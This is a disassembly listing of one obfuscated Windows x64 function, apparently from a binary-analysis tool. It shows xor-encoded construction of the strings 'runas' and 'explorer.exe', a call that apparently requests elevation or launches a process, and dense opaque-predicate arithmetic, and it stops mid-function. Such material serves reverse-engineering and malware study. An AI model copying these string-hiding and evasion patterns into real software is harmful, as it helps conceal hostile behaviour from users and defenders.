Function at 0x1400de750
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov eax, 0x6720
call fcn.140131af0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x6698], 0xfffffffffffffffe
mov dword [rbp + 0x1104], 0
call fcn.140124010
call fcn.140124030
test al, 1
jne 0x1400deb93
xor eax, eax
mov ecx, eax
lea rdx, [rbp + 0x1000]
mov r8d, 0x104
call qword [0x1401495b8]
mov rax, qword [0x140149660]
mov qword [rbp + 0xf80], rax
mov ecx, dword [0x14014053c]
sub ecx, dword [0x140140540]
mov eax, ecx
and eax, 0xeafd0051
or ecx, 0xeafd0051
add eax, ecx
mov ecx, eax
and ecx, 0x3d5e7ccf
shl ecx, 1
xor eax, 0x3d5e7ccf
add eax, ecx
imul eax, eax, 0xac9849de
mov dword [rbp + 0xf74], eax
lea rax, str.runas
mov qword [rbp + 0x1110], rax
lea rax, [rbp + 0xff4]
mov qword [rbp + 0x1108], rax
mov rax, qword [rbp + 0x1108]
mov qword [rbp + 0xf68], rax
mov qword [rbp + 0x1118], rax
mov dword [rax], 0x4c
mov rcx, rax
add rcx, 4
mov qword [rbp + 0xf40], rcx
mov rcx, qword [rbp + 0x1110]
mov cl, byte [rcx]
mov qword [rbp + 0x11b8], 0
mov byte [rbp + 0x11b7], cl
mov qword [rbp + 0x11a8], rax
mov rcx, qword [rbp + 0x11a8]
movsx eax, byte [rbp + 0x11b7]
mov dword [rbp + 0xf3c], eax
mov rdx, qword [rbp + 0x11b8]
call fcn.140124050
mov edx, dword [rbp + 0xf3c]
mov rcx, qword [rbp + 0xf40]
mov r8b, al
mov rax, qword [rbp + 0xf68]
movsx r8d, r8b
xor edx, r8d
mov byte [rax + 4], dl
add rcx, 1
mov qword [rbp + 0xf50], rcx
mov rcx, qword [rbp + 0x1110]
mov cl, byte [rcx + 1]
mov qword [rbp + 0x11a0], 1
mov byte [rbp + 0x119f], cl
mov qword [rbp + 0x1190], rax
mov rcx, qword [rbp + 0x1190]
movsx eax, byte [rbp + 0x119f]
mov dword [rbp + 0xf4c], eax
mov rdx, qword [rbp + 0x11a0]
call fcn.140124050
mov edx, dword [rbp + 0xf4c]
mov rcx, qword [rbp + 0xf50]
mov r8b, al
mov rax, qword [rbp + 0xf68]
movsx r8d, r8b
xor edx, r8d
mov byte [rax + 5], dl
add rcx, 1
mov qword [rbp + 0xf60], rcx
mov rcx, qword [rbp + 0x1110]
mov cl, byte [rcx + 2]
mov qword [rbp + 0x1188], 2
mov byte [rbp + 0x1187], cl
mov qword [rbp + 0x1178], rax
mov rcx, qword [rbp + 0x1178]
movsx eax, byte [rbp + 0x1187]
mov dword [rbp + 0xf5c], eax
mov rdx, qword [rbp + 0x1188]
call fcn.1400f84d0
mov r8d, dword [rbp + 0xf5c]
mov rdx, qword [rbp + 0xf60]
mov rcx, qword [rbp + 0xf68]
mov r9b, al
mov eax, dword [rbp + 0xf74]
movsx r9d, r9b
xor r8d, r9d
mov byte [rcx + 6], r8b
add rdx, 1
mov qword [rbp + 0xf78], rdx
mov rdx, qword [rbp + 0x1110]
mov dl, byte [rdx + 3]
mov qword [rbp + 0x1170], 3
mov byte [rbp + 0x116f], dl
mov qword [rbp + 0x1160], rcx
cmp eax, 0xad51c50b
ja 0x1400de7b2
mov rcx, qword [rbp + 0x1160]
movsx eax, byte [rbp + 0x116f]
mov dword [rbp + 0xf18], eax
mov rdx, qword [rbp + 0x1170]
call fcn.1400f84d0
mov edx, dword [rbp + 0xf18]
mov rcx, qword [rbp + 0xf78]
mov r8b, al
mov rax, qword [rbp + 0xf68]
movsx r8d, r8b
xor edx, r8d
mov byte [rcx], dl
add rcx, 1
mov qword [rbp + 0xf20], rcx
mov rcx, qword [rbp + 0x1110]
mov cl, byte [rcx + 4]
mov qword [rbp + 0x1158], 4
mov byte [rbp + 0x1157], cl
mov qword [rbp + 0x1148], rax
mov rcx, qword [rbp + 0x1148]
movsx eax, byte [rbp + 0x1157]
mov dword [rbp + 0xf1c], eax
mov rdx, qword [rbp + 0x1158]
call fcn.1400f84d0
mov r8d, dword [rbp + 0xf1c]
mov rdx, qword [rbp + 0xf78]
mov rcx, qword [rbp + 0xf40]
mov r9b, al
mov rax, qword [rbp + 0xf20]
movsx r9d, r9b
xor r8d, r9d
mov byte [rdx + 1], r8b
add rax, 1
add rcx, 6
mov qword [rbp + 0xf28], rcx
mov qword [rbp + 0xf30], rax
mov rax, qword [rbp + 0xf30]
mov qword [rbp + 0xf10], rax
mov rdx, qword [rbp + 0xf28]
mov rcx, qword [rbp + 0xf10]
mov eax, dword [0x14014055c]
mov r10d, dword [0x140140560]
mov r9d, r10d
xor r9d, 0xffffffff
mov r8d, eax
and r8d, r9d
mov r9d, eax
xor r9d, r10d
add eax, r9d
sub eax, r8d
or eax, 0x610bda3b
and eax, 0xa2c84fe6
mov r8d, eax
xor r8d, 0x7df51ee0
xor r8d, 0xffffffff
or eax, 0x7df51ee0
and eax, r8d
mov byte [rcx], 0
add rcx, 1
mov qword [rbp + 0xf00], rcx
cmp rcx, rdx
sete cl
mov byte [rbp + 0xf0f], cl
cmp eax, 0x8909f7f6
jae 0x1400f0de5
mov rax, qword [rbp + 0xf00]
mov cl, byte [rbp + 0xf0f]
test cl, 1
mov qword [rbp + 0xf30], rax
jne 0x1400deb23
jmp 0x1400dea7a
lea rcx, [rbp + 0xff4]
call fcn.140124070
mov rdx, rax
mov rax, qword [rbp + 0xf80]
xor ecx, ecx
mov r9d, ecx
lea r8, [rbp + 0x1000]
mov rcx, r9
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 1
call rax
mov eax, dword [0x140140564]
imul eax, dword [0x140140568]
xor eax, 0xc3430ab7
add eax, 0xbefb601c
sub eax, 0x8ada742f
sub eax, 0x2038270b
add eax, 0x8ada742f
cmp eax, 0xe7ff193e
jae 0x1400f0df4
xor ecx, ecx
call fcn.140124090
mov al, byte [rbp + 0xfaf]
mov byte [rbp + 0x1137], al
lea rax, str.explorer.exe
mov qword [rbp + 0x1128], rax
lea rax, [rbp + 0xfb0]
mov qword [rbp + 0x1120], rax
mov rax, qword [rbp + 0x1120]
mov qword [rbp + 0xef0], rax
mov qword [rbp + 0x1138], rax
mov rcx, qword [rbp + 0x1128]
mov cl, byte [rcx]
mov qword [rbp + 0x1358], 0
mov byte [rbp + 0x1357], cl
movzx ecx, byte [rbp + 0x1357]
movabs rdx, 0x730d69dfd5e667ed
add rcx, rdx
mov rdx, qword [rbp + 0x1358]
movabs r9, 0xa2b8c5fb67b3336b
mov r8, rdx
and r8, r9
movabs r9, 0xa2b8c5fb67b3336b
or rdx, r9
add r8, rdx
mov r9, rcx
xor r9, r8
xor r9, 0xffffffffffffffff
mov rdx, r8
and rdx, r9
shl rdx, 1
sub rdx, r8
sub rcx, rdx
mov byte [rax], cl
mov rcx, rax
add rcx, 1
mov rdx, qword [rbp + 0x1128]
mov dl, byte [rdx + 1]
mov qword [rbp + 0x1348], 1
mov byte [rbp + 0x1347], dl
movzx edx, byte [rbp + 0x1347]
movabs r8, 0x730d69dfd5e667ed
add rdx, r8
movabs r8, 0xa2b8c5fb67b3336b
add r8, qword [rbp + 0x1348]
xor rdx, r8
mov byte [rax + 1], dl
add rcx, 1
mov rdx, qword [rbp + 0x1128]
mov dl, byte [rdx + 2]
mov qword [rbp + 0x1338], 2
mov byte [rbp + 0x1337], dl
movzx edx, byte [rbp + 0x1337]
movabs r8, 0x730d69dfd5e667ed
add rdx, r8
mov r9, qword [rbp + 0x1338]
movabs r10, 0xa2b8c5fb67b3336b
mov r8, r9
and r8, r10
movabs r10, 0xa2b8c5fb67b3336b
or r9, r10
add r8, r9
xor rdx, r8
mov byte [rax + 2], dl
add rcx, 1
mov rdx, qword [rbp + 0x1128]
mov dl, byte [rdx + 3]
mov qword [rbp + 0x1328], 3
mov byte [rbp + 0x1327], dl
movzx edx, byte [rbp + 0x1327]
mov r8d, edx
movabs rdx, 0x730d69dfd5e667ed
add r8, rdx
movabs r10, 0xa2b8c5fb67b3336b
add r10, qword [rbp + 0x1328]
mov rdx, r8
xor rdx, 0xffffffffffffffff
mov r9, r8
xor r9, 0xffffffffffffffff
or rdx, r9
xor rdx, 0xffffffffffffffff
mov r9, r10
xor r9, 0xffffffffffffffff
or rdx, r9
mov r9, r10
xor r9, 0xffffffffffffffff
xor r10, 0xffffffffffffffff
or r9, r10
xor r8, 0xffffffffffffffff
xor r9, 0xffffffffffffffff
or r8, r9
and rdx, r8
xor rdx, 0xffffffffffffffff
mov byte [rax + 3], dl
add rcx, 1
mov rdx, qword [rbp + 0x1128]
mov dl, byte [rdx + 4]
mov qword [rbp + 0x1318], 4
mov byte [rbp + 0x1317], dl
movzx edx, byte [rbp + 0x1317]
movabs r8, 0x730d69dfd5e667ed
add rdx, r8
mov r8, qword [rbp + 0x1318]
movabs r9, 0x5d473a04984ccc95
sub r8, r9
xor rdx, r8
mov byte [rax + 4], dl
add rcx, 1
mov rdx, qword [rbp + 0x1128]
mov dl, byte [rdx + 5]
mov qword [rbp + 0x1308], 5
mov byte [rbp + 0x1307], dl
movzx edx, byte [rbp + 0x1307]
xor r8d, r8d
sub r8, rdx
movabs rdx, 0x8cf296202a199813
add r8, rdx
xor edx, edx
sub rdx, r8
movabs r8, 0xa2b8c5fb67b3336b
add r8, qword [rbp + 0x1308]
xor rdx, r8
mov byte [rax + 5], dl
add rcx, 1
mov rdx, qword [rbp + 0x1128]
mov dl, byte [rdx + 6]
mov qword [rbp + 0x12f8], 6
mov byte [rbp + 0x12f7], dl
movzx edx, byte [rbp + 0x12f7]
movabs r8, 0x730d69dfd5e667ed
add rdx, r8
movabs r8, 0xa2b8c5fb67b3336b
add r8, qword [rbp + 0x12f8]
xor rdx, r8
mov byte [rax + 6], dl
add rcx, 1
mov rdx, qword [rbp + 0x1128]
mov dl, byte [rdx + 7]
mov qword [rbp + 0x12e8], 7
mov byte [rbp + 0x12e7], dl
movzx edx, byte [rbp + 0x12e7]
mov r10d, edx
movabs rdx, 0x730d69dfd5e667ed
add r10, rdx
mov r9, qword [rbp + 0x12e8]
movabs rdx, 0x5d473a04984ccc95
sub r9, rdx
mov rdx, r10
xor rdx, 0xffffffffffffffff
movabs r8, 0xbe8fa574f6bf7aea
and rdx, r8
movabs r8, 0x41705a8b09408515
and r10, r8
mov r8, r9
xor r8, 0xffffffffffffffff
movabs r11, 0xbe8fa574f6bf7aea
and r8, r11
movabs r11, 0x41705a8b09408515
and r9, r11
or rdx, r10
or r8, r9
xor rdx, r8
mov byte [rax + 7], dl
add rcx, 1
mov rdx, qword [rbp + 0x1128]
mov dl, byte [rdx + 8]
mov qword [rbp + 0x12d8], 8
mov byte [rbp + 0x12d7], dl
movzx edx, byte [rbp + 0x12d7]
movabs r8, 0x730d69dfd5e667ed
add rdx, r8
movabs r9, 0xa2b8c5fb67b3336b
add r9, qword [rbp + 0x12d8]
mov r10, rdx
xor r10, r9
xor r10, 0xffffffffffffffff
mov r8, r9
and r8, r10
shl r8, 1
sub r8, r9
sub rdx, r8
mov byte [rax + 8], dl
add rcx, 1
mov rdx, qword [rbp + 0x1128]
mov dl, byte [rdx + 9]
mov qword [rbp + 0x12c8], 9
mov byte [rbp + 0x12c7], dl
movzx edx, byte [rbp + 0x12c7]
mov r10d, edx
movabs rdx, 0x8cf296202a199813
sub r10, rdx
mov r9, qword [rbp + 0x12c8]
movabs rdx, 0x18c6077cdfbbea32
sub r9, rdx
movabs rdx, 0xa2b8c5fb67b3336b
add r9, rdx
movabs rdx, 0x18c6077cdfbbea32
add r9, rdx
mov rdx, r10
xor rdx, 0xffffffffffffffff
movabs r8, 0xc97762d7b822dbcc
and rdx, r8
movabs r8, 0x36889d2847dd2433
and r10, r8
mov r8, r9
xor r8, 0xffffffffffffffff
movabs r11, 0xc97762d7b822dbcc
and r8, r11
movabs r11, 0x36889d2847dd2433
and r9, r11
or rdx, r10
or r8, r9
xor rdx, r8
mov byte [rax + 9], dl
add rcx, 1
mov rdx, qword [rbp + 0x1128]
mov dl, byte [rdx + 0xa]
mov qword [rbp + 0x12b8], 0xa
mov byte [rbp + 0x12b7], dl
movzx edx, byte [rbp + 0x12b7]
movabs r8, 0x730d69dfd5e667ed
add rdx, r8
mov r8, qword [rbp + 0x12b8]
movabs r9, 0x5d473a04984ccc95
sub r8, r9
xor rdx, r8
mov byte [rax + 0xa], dl
add rcx, 1
mov rdx, qword [rbp + 0x1128]
mov dl, byte [rdx + 0xb]
mov qword [rbp + 0x12a8], 0xb
mov byte [rbp + 0x12a7], dl
movzx edx, byte [rbp + 0x12a7]
mov r10d, edx
movabs rdx, 0x730d69dfd5e667ed
add r10, rdx
movabs r9, 0xa2b8c5fb67b3336b
add r9, qword [rbp + 0x12a8]
mov rdx, r10
xor rdx, 0xffffffffffffffff
movabs r8, 0x95fff7740a086a51
and rdx, r8
movabs r8, 0x6a00088bf5f795ae
and r10, r8
mov r8, r9
xor r8, 0xffffffffffffffff
movabs r11, 0x95fff7740a086a51
and r8, r11
movabs r11, 0x6a00088bf5f795ae
and r9, r11
or rdx, r10
or r8, r9
xor rdx, r8
mov byte [rax + 0xb], dl
add rcx, 1
mov rdx, qword [rbp + 0x1128]
mov dl, byte [rdx + 0xc]
mov qword [rbp + 0x1298], 0xc
mov byte [rbp + 0x1297], dl
movzx edx, byte [rbp + 0x1297]
mov r10d, edx
movabs rdx, 0x730d69dfd5e667ed
add r10, rdx
mov r9, qword [rbp + 0x1298]
movabs r8, 0xa2b8c5fb67b3336b
mov rdx, r9
and rdx, r8
shl rdx, 1
movabs r8, 0xa2b8c5fb67b3336b
xor r9, r8
add r9, rdx
mov rdx, r10
xor rdx, 0xffffffffffffffff
movabs r8, 0x11da374066347546
and rdx, r8
movabs r8, 0xee25c8bf99cb8ab9
and r10, r8
mov r8, r9
xor r8, 0xffffffffffffffff
movabs r11, 0x11da374066347546
and r8, r11
movabs r11, 0xee25c8bf99cb8ab9
and r9, r11
or rdx, r10
or r8, r9
xor rdx, r8
mov byte [rax + 0xc], dl
add rcx, 1
mov qword [rbp + 0xef8], rcx
mov rcx, qword [rbp + 0x1128]
mov cl, byte [rcx + 0xd]
mov qword [rbp + 0x1288], 0xd
mov byte [rbp + 0x1287], cl
movzx ecx, byte [rbp + 0x1287]
movabs rdx, 0x8cf296202a199813
sub rcx, rdx
mov r8, qword [rbp + 0x1288]
movabs r9, 0xa2b8c5fb67b3336b
mov rdx, r8
and rdx, r9
movabs r9, 0xa2b8c5fb67b3336b
or r8, r9
add rdx, r8
xor rcx, rdx
mov byte [rax + 0xd], cl
mov edx, dword [0x140140574]
mov ecx, dword [0x140140578]
mov eax, edx
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
add eax, 0x5df9d008
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xd5c29cf
add eax, ecx
and eax, 0x7257eb73
cmp eax, 0x70c5f5f7
ja 0x1400f0dfb
mov rdx, qword [rbp + 0xef8]
mov eax, dword [0x14014057c]
xor eax, dword [0x140140580]
mov r8d, eax
xor r8d, 0xffffffff
and r8d, 0xa04b8284
mov ecx, eax
and ecx, 0x5fb47d7b
imul ecx, r8d
mov r8d, eax
and r8d, 0xa04b8284
or eax, 0xa04b8284
imul eax, r8d
add eax, ecx
imul eax, eax, 0x860d4287
sub eax, 0x8cc6cb86
mov rcx, rdx
add rcx, 1
mov r8, qword [rbp + 0x1128]
mov r8b, byte [r8 + 0xe]
mov qword [rbp + 0x1278], 0xe
mov byte [rbp + 0x1277], r8b
movzx r8d, byte [rbp + 0x1277]
movabs r9, 0x35365441ff0f55c0
sub r8, r9
movabs r9, 0x730d69dfd5e667ed
add r8, r9
movabs r9, 0x35365441ff0f55c0
add r8, r9
movabs r9, 0xa2b8c5fb67b3336b
add r9, qword [rbp + 0x1278]
xor r8, r9
mov byte [rdx + 1], r8b
add rcx, 1
mov r8, qword [rbp + 0x1128]
mov r8b, byte [r8 + 0xf]
mov qword [rbp + 0x1268], 0xf
mov byte [rbp + 0x1267], r8b
movzx r8d, byte [rbp + 0x1267]
movabs r9, 0x6f5bdbc9fb79d464
add r8, r9
movabs r9, 0x730d69dfd5e667ed
add r8, r9
movabs r9, 0x6f5bdbc9fb79d464
sub r8, r9
mov r9, qword [rbp + 0x1268]
movabs r11, 0xa2b8c5fb67b3336b
mov r10, r9
and r10, r11
shl r10, 1
movabs r11, 0xa2b8c5fb67b3336b
xor r9, r11
add r9, r10
xor r8, r9
mov byte [rdx + 2], r8b
add rcx, 1
mov r8, qword [rbp + 0x1128]
mov r8b, byte [r8 + 0x10]
mov qword [rbp + 0x1258], 0x10
mov byte [rbp + 0x1257], r8b
movzx r8d, byte [rbp + 0x1257]
movabs r9, 0x730d69dfd5e667ed
add r8, r9
xor r9d, r9d
mov r10d, r9d
sub r10, qword [rbp + 0x1258]
movabs r9, 0x5d473a04984ccc95
add r10, r9
xor r9d, r9d
sub r9, r10
xor r8, r9
mov byte [rdx + 3], r8b
add rcx, 1
mov r8, qword [rbp + 0x1128]
mov r8b, byte [r8 + 0x11]
mov qword [rbp + 0x1248], 0x11
mov byte [rbp + 0x1247], r8b
movzx r8d, byte [rbp + 0x1247]
movabs r9, 0x730d69dfd5e667ed
add r8, r9
xor r9d, r9d
mov r10d, r9d
sub r10, qword [rbp + 0x1248]
movabs r9, 0x5d473a04984ccc95
add r10, r9
xor r9d, r9d
sub r9, r10
xor r8, r9
mov byte [rdx + 4], r8b
add rcx, 1
mov r8, qword [rbp + 0x1128]
mov r8b, byte [r8 + 0x12]
mov qword [rbp + 0x1238], 0x12
mov byte [rbp + 0x1237], r8b
movzx r8d, byte [rbp + 0x1237]
mov r9d, r8d
xor r8d, r8d
sub r8, r9
movabs r9, 0x8cf296202a199813
add r8, r9
xor r9d, r9d
sub r9, r8
movabs r10, 0xa2b8c5fb67b3336b
add r10, qword [rbp + 0x1238]
mov r8, r9
xor r8, 0xffffffffffffffff
and r8, r10
xor r9, 0xffffffffffffffff
or r9, r10
xor r9, 0xffffffffffffffff
or r8, r9
mov byte [rdx + 5], r8b
add rcx, 1
mov r8, qword [rbp + 0x1128]
mov r8b, byte [r8 + 0x13]
mov qword [rbp + 0x1228], 0x13
mov byte [rbp + 0x1227], r8b
movzx r8d, byte [rbp + 0x1227]
mov r9d, r8d
movabs r8, 0x730d69dfd5e667ed
add r9, r8
movabs r11, 0xa2b8c5fb67b3336b
add r11, qword [rbp + 0x1228]
mov r8, r9
xor r8, 0xffffffffffffffff
and r8, r11
xor r8, 0xffffffffffffffff
mov r10, r11
xor r10, 0xffffffffffffffff
xor r11, 0xffffffffffffffff
or r10, r11
and r9, r10
xor r9, 0xffffffffffffffff
and r8, r9
xor r8, 0xffffffffffffffff
mov byte [rdx + 6], r8b
add rcx, 1
mov r8, qword [rbp + 0x1128]
mov r8b, byte [r8 + 0x14]
mov qword [rbp + 0x1218], 0x14
mov byte [rbp + 0x1217], r8b
movzx r8d, byte [rbp + 0x1217]
mov r9d, r8d
movabs r8, 0x8cf296202a199813
sub r9, r8
movabs r10, 0xa2b8c5fb67b3336b
add r10, qword [rbp + 0x1218]
mov r8, r9
and r8, r10
xor r9, 0xffffffffffffffff
xor r10, 0xffffffffffffffff
and r9, r10
xor r8, 0xffffffffffffffff
xor r9, 0xffffffffffffffff
and r8, r9
mov byte [rdx + 7], r8b
add rcx, 1
mov qword [rbp + 0xee0], rcx
mov rcx, qword [rbp + 0x1128]
mov cl, byte [rcx + 0x15]
mov qword [rbp + 0x1208], 0x15
mov byte [rbp + 0x1207], cl
movzx ecx, byte [rbp + 0x1207]
mov r9d, ecx
movabs rcx, 0x4433702f5c5b9cdf
add r9, rcx
movabs rcx, 0x730d69dfd5e667ed
add r9, rcx
movabs rcx, 0x4433702f5c5b9cdf
sub r9, rcx
mov r8, qword [rbp + 0x1208]
movabs rcx, 0x5d473a04984ccc95
sub r8, rcx
mov rcx, r9
xor rcx, 0xffffffffffffffff
movabs rdx, 0xef8df89f2b962c76
and rcx, rdx
movabs rdx, 0x10720760d469d389
and r9, rdx
mov rdx, r8
xor rdx, 0xffffffffffffffff
movabs r10, 0xef8df89f2b962c76
and rdx, r10
movabs r10, 0x10720760d469d389
and r8, r10
or rcx, r9
or rdx, r8
xor rcx, rdx
mov byte [rbp + 0xeef], cl
cmp eax, 0x70885967
jbe 0x1400df245
mov eax, dword [0x140140584]
mov ecx, dword [0x140140588]
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov edx, eax
and edx, 0x31214c8e
mov ecx, eax
or ecx, 0x31214c8e
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xcedeb371
or eax, 0xcedeb371
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0x98d721fd
mov edx, eax
xor edx, 0x6728de02
add eax, edx
sub eax, ecx
mov edx, eax
and edx, 0xbbc05506
mov ecx, eax
or ecx, 0xbbc05506
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x443faaf9
or eax, 0x443faaf9
imul eax, edx
add eax, ecx
cmp eax, 0x691ec80f
ja 0x1400f1094
mov rcx, qword [rbp + 0xef0]
mov rdx, qword [rbp + 0xee0]
mov al, byte [rbp + 0xeef]
mov byte [rdx], al
mov rax, rdx
add rax, 1
mov r8, qword [rbp + 0x1128]
mov r8b, byte [r8 + 0x16]
mov qword [rbp + 0x11f8], 0x16
mov byte [rbp + 0x11f7], r8b
movzx r8d, byte [rbp + 0x11f7]
movabs r9, 0x8cf296202a199813
sub r8, r9
movabs r9, 0xd4bd9774a456987d
add r9, qword [rbp + 0x11f8]
movabs r10, 0xa2b8c5fb67b3336b
add r9, r10
movabs r10, 0xd4bd9774a456987d
sub r9, r10
xor r8, r9
mov byte [rdx + 1], r8b
add rax, 1
mov r8, qword [rbp + 0x1128]
mov r8b, byte [r8 + 0x17]
mov qword [rbp + 0x11e8], 0x17
mov byte [rbp + 0x11e7], r8b
movzx r8d, byte [rbp + 0x11e7]
movabs r9, 0x248d890acd9251ad
add r8, r9
movabs r9, 0x730d69dfd5e667ed
add r8, r9
movabs r9, 0x248d890acd9251ad
sub r8, r9
movabs r9, 0xa2b8c5fb67b3336b
add r9, qword [rbp + 0x11e8]
xor r8, r9
mov byte [rdx + 2], r8b
add rax, 1
mov r8, qword [rbp + 0x1128]
mov r8b, byte [r8 + 0x18]
mov qword [rbp + 0x11d8], 0x18
mov byte [rbp + 0x11d7], r8b
movzx r8d, byte [rbp + 0x11d7]
mov r9d, r8d
movabs r8, 0x730d69dfd5e667ed
add r9, r8
mov r8, qword [rbp + 0x11d8]
movabs r11, 0xa2b8c5fb67b3336b
mov r10, r8
and r10, r11
movabs r11, 0xa2b8c5fb67b3336b
or r8, r11
add r10, r8
mov r8, r9
xor r8, 0xffffffffffffffff
mov r11, r9
xor r11, 0xffffffffffffffff
or r8, r11
and r8, r10
xor r10, 0xffffffffffffffff
and r9, r10
or r8, r9
mov byte [rdx + 3], r8b
add rax, 1
mov r8, qword [rbp + 0x1128]
mov r8b, byte [r8 + 0x19]
mov qword [rbp + 0x11c8], 0x19
mov byte [rbp + 0x11c7], r8b
movzx r8d, byte [rbp + 0x11c7]
mov r9d, r8d
movabs r8, 0x730d69dfd5e667ed
add r9, r8
mov r10, qword [rbp + 0x11c8]
movabs r8, 0xe1406bd97814693f
sub r10, r8
movabs r8, 0xa2b8c5fb67b3336b
add r10, r8
movabs r8, 0xe1406bd97814693f
add r10, r8
mov r8, r9
xor r8, 0xffffffffffffffff
mov r11, r9
xor r11, 0xffffffffffffffff
or r8, r11
xor r8, 0xffffffffffffffff
mov r11, r10
xor r11, 0xffffffffffffffff
or r8, r11
xor r9, 0xffffffffffffffff
or r9, r10
xor r8, 0xffffffffffffffff
xor r9, 0xffffffffffffffff
or r8, r9
mov byte [rdx + 4], r8b
add rax, 1
add rcx, 0x20
mov qword [rbp + 0xed0], rcx
mov qword [rbp + 0xed8], rax
mov rax, qword [rbp + 0xed8]
mov rcx, qword [rbp + 0xed0]
mov byte [rax], 0
add rax, 1
cmp rax, rcx
mov qword [rbp + 0xed8], rax
jne 0x1400df8f6
mov edx, dword [0x140140594]
sub edx, dword [0x140140598]
mov ecx, edx
xor ecx, 0xffffffff
mov eax, ecx
and eax, 0x66861e4b
and edx, 0x9979e1b4
or eax, edx
xor eax, 0x4f7199f6
or ecx, 0xd6087842
xor ecx, 0xffffffff
or eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x9f1c36b5
and eax, 0x60e3c94a
or ecx, eax
mov eax, ecx
xor eax, 0x6f23e252
and eax, ecx
cmp eax, 0x74e6817e
je 0x1400f125d
mov eax, dword [0x14014059c]
xor eax, dword [0x1401405a0]
and eax, 0x37b169d5
imul ecx, eax, 0xfc25d67b
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x8fe98833
and ecx, 0x701677cc
or eax, ecx
lea rcx, [rbp + 0xfb0]
mov qword [rbp + 0x1140], rcx
mov rcx, qword [rbp + 0x1140]
mov qword [rbp + 0x1380], rcx
cmp eax, 0xeb53e15d
ja 0x1400f125d
mov eax, dword [0x1401405ac]
mov r8d, dword [0x1401405b0]
mov r9d, r8d
xor r9d, 0xffffffff
mov edx, eax
and edx, r9d
mov ecx, eax
or ecx, r9d
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, r8d
or eax, r8d
imul eax, edx
add eax, ecx
sub eax, 0x79a647d7
sub eax, 0xdc8cb537
mov ecx, eax
xor ecx, 0x859d0d12
xor ecx, 0xffffffff
or eax, 0x859d0d12
and eax, ecx
cmp eax, 0xe1df3b76
ja 0x1400f127e
jmp 0x1400dfa1e
call fcn.140124c80
mov rax, qword [rax]
mov qword [rbp + 0x1370], rax
mov eax, dword [0x1401405c4]
add eax, dword [str.DDa_v_]
or eax, 0xf40fbcd
xor eax, 0xffffffff
and eax, 0x235c003b
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0x5de82dce
xor ecx, 0xffffffff
or eax, 0x5de82dce
and eax, ecx
cmp eax, 0x2b43449a
jb 0x1400f1283
mov eax, dword [0x1401405cc]
or eax, dword [0x1401405d0]
or eax, 0x4d1038da
mov ecx, 0xa0d0712d
xor edx, edx
div ecx
add eax, 0xcddb6aad
mov dword [rbp + 0xecc], eax
call fcn.140124c90
mov rcx, rax
mov eax, dword [rbp + 0xecc]
mov rcx, qword [rcx]
mov qword [rbp + 0x1368], rcx
cmp eax, 0xbc33626f
jbe 0x1400dfa66
jmp 0x1400dfab3
mov eax, dword [0x1401405d4]
mov ecx, dword [0x1401405d8]
xor ecx, 0xffffffff
sub ecx, 0xffffffff
sub eax, ecx
mov ecx, 0x9d4d6384
xor edx, edx
div ecx
or eax, 0x3f374263
mov edx, eax
xor edx, 0xffffffff
and edx, 0x1f1d3c5a
mov ecx, eax
and ecx, 0xe0e2c3a5
imul ecx, edx
mov edx, eax
and edx, 0x1f1d3c5a
or eax, 0x1f1d3c5a
imul eax, edx
add eax, ecx
cmp eax, 0x390179f4
jb 0x1400f1297
mov eax, dword [0x1401405dc]
add eax, dword [0x1401405e0]
xor eax, 0x222378b6
xor eax, 0x551ed271
add eax, 0xb8d5386
cmp eax, 0x6eb2ba7
jbe 0x1400dfb08
mov qword [rbp + 0x1360], 0
mov eax, dword [0x1401405e4]
and eax, dword [0x1401405e8]
and eax, 0xb9d31666
xor eax, 0x9052a6b9
and eax, 0xeaeba02b
cmp eax, 0x3eddbd1
jae 0x1400f129c
mov eax, dword [0x1401405ec]
mov ecx, dword [0x1401405f0]
sub eax, 0xe1cc0380
sub eax, ecx
add eax, 0xe1cc0380
and eax, 0x19e137
mov edx, eax
xor edx, 0xffffffff
and edx, 0x59d676c7
mov ecx, eax
and ecx, 0xa6298938
imul ecx, edx
mov edx, eax
and edx, 0x59d676c7
or eax, 0x59d676c7
imul eax, edx
add eax, ecx
xor eax, 0xffffffff
or eax, 0xcf3e755
xor eax, 0xffffffff
mov rcx, qword [rbp + 0x1360]
mov qword [rbp + 0xec0], rcx
cmp eax, 0xaf5eb449
jae 0x1400dfb5f
mov ecx, dword [0x1401405f4]
add ecx, dword [0x1401405f8]
and ecx, 0xc7a4a4ca
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xd9600fe1
xor ecx, 0xffffffff
and ecx, 0xd9600fe1
or eax, ecx
xor eax, 0xffffffff
xor eax, 0x8ce3dff8
cmp eax, 0xd57f6bb6
jae 0x1400f12a1
mov rax, qword [rbp + 0xec0]
cmp rax, 0x20
jae 0x1400f084d
mov rax, qword [rbp + 0x1380]
mov rcx, qword [rbp + 0x1360]
mov al, byte [rax + rcx]
mov byte [rbp + 0xebf], al
mov eax, dword [0x140140604]
sub eax, dword [0x140140608]
add eax, 0x686d1b15
add eax, 0x8180fe1e
add eax, 1
or eax, 0x31e7a05
cmp eax, 0x8e5e668f
ja 0x1400f12a6
mov cl, byte [rbp + 0xebf]
mov eax, dword [0x14014060c]
or eax, dword [0x140140610]
imul eax, eax, 0x81c967f2
add eax, 0x49a13267
or eax, 0x65736685
mov byte [rbp + 0x137f], cl
cmp eax, 0xb483afef
ja 0x1400dfc53
mov eax, dword [0x140140624]
or eax, dword [0x140140628]
sub eax, 0x3dee9cd1
mov ecx, eax
and ecx, 0xb9678eb3
mov edx, eax
xor edx, 0x4698714c
add eax, edx
sub eax, ecx
sub eax, 0xbcab9155
cmp eax, 0xc89eb148
je 0x1400f12b7
mov ecx, dword [0x14014062c]
mov edx, dword [0x140140630]
mov r8d, ecx
xor r8d, 0xffffffff
mov eax, edx
